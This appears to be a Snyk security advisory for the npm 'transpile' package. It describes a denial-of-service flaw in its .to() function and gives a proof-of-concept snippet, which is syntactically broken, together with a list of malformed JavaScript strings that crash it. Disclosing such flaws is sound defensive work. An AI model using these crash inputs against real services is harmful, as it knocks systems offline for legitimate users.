Denial of Service (DoS) Affecting transpile package, versions *



    Threat Intelligence

    Exploit Maturity
    Proof of concept
    0.11% (45th percentile)

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  • Snyk ID SNYK-JS-TRANSPILE-1290774
  • published 22 Aug 2021
  • disclosed 11 May 2021
  • credit Anish Sujanani

How to fix?

There is no fixed version for transpile.


transpile is a Transpiles JavaScript modules from one format to another.

Affected versions of this package are vulnerable to Denial of Service (DoS) due to a lack of input sanitization or whitelisting, coupled with improper exception handling in the .to() function.


Base code:

var transpile = require('transpile');
data = <string_here>{
            name: "mod",
            source: data,
            metadata: {format: "cjs"}
        }, "amd")

Possible payloads to replace <string_here>:

Rest parameter must be last formal parameter 
"o=(...D (...D wwequ 7equire'foo')" 

Invalid regular expression "!/var foo =var foo = require(var foo = require('fovar foo = require('foo')"

Invalid left-hand side in for-loop "for ('ofq(foo,reqor ('of"

Octal literals are not allowed in template strings. "v`rcCoo('fk\7oo')"

Invalid left-hand side in assignment "var foo = ~e = foo equ= equi"

Invalid left-hand side in for-in "for(fn^t in^suiS\re"

Unexpected quasi ... "varfoo =i,varfo"

Unexpected Number "var foo 5 reouire('fqo')"

Unexpected token ILLEGAL "re('fooqWb resuYxS\re)'"

Label '...' has already been declared "r; reqa: reqa:e;oo ; ; reqrequirr('fsreRo')"

Unexpected end of input "ir%(f= r,)/"

Unexpected string "v')ar foo = require('fooequi')"


Denial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its intended and legitimate users.

Unlike other vulnerabilities, DoS attacks usually do not aim at breaching security. Rather, they are focused on making websites and services unavailable to genuine users resulting in downtime.

One popular Denial of Service vulnerability is DDoS (a Distributed Denial of Service), an attack that attempts to clog network pipes to the system by generating a large volume of traffic from many machines.

When it comes to open source libraries, DoS vulnerabilities allow attackers to trigger such a crash or crippling of the service by using a flaw either in the application code or from the use of open source libraries.

Two common types of DoS vulnerabilities:

  • High CPU/Memory Consumption- An attacker sending crafted requests that could cause the system to take a disproportionate amount of time to process. For example, commons-fileupload:commons-fileupload.

  • Crash - An attacker sending crafted requests that could cause the system to crash. For Example, npm ws package


CVSS Scores

version 3.1
Expand this section


6.5 medium
  • Attack Vector (AV)
  • Attack Complexity (AC)
  • Privileges Required (PR)
  • User Interaction (UI)
  • Scope (S)
  • Confidentiality (C)
  • Integrity (I)
  • Availability (A)
Expand this section


7.5 high